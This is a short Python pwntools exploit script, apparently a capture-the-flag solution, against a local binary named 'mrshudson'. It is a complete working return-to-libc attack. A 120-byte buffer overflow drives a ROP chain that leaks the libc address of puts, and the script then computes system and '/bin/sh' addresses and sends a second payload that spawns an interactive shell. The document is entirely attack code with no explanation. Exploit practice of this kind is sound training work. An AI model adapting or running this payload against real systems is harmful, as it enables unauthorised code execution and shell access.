from pwn import *
context(os="Linux", arch="amd64")
#context.log_level = 'DEBUG'

libc = ELF('./libc.so.6')
binary = ELF('./mrshudson')

p = process('./mrshudson', env = {"LD_PRELOAD":"./libc.so.6"})

padding = 'A'*120
pop_rdi = p64(0x4006f3)
puts_got = p64(binary.got['puts'])
puts_plt = p64(binary.plt['puts'])
main_addr = p64(binary.symbols['main'])
payload = padding + pop_rdi + puts_got + puts_plt + main_addr

p.recvline()
p.sendline(payload)
leaked_puts = p.recv(6).strip('\n').ljust(8,'\x00')
puts_int = u64(leaked_puts)
log.info("Puts Leak: 0x%x" % puts_int)


libc_put = libc.symbols['puts']
libc_system = libc.symbols['system']
libc_binsh = libc.search('/bin/sh').next()

offset = puts_int - libc_put
system = p64(offset + libc_system)
binsh = p64(offset + libc_binsh)

payload1 = padding + pop_rdi + binsh + system

p.recvline()
p.recvline()

p.sendline(payload1)

p.interactive()
p.close()
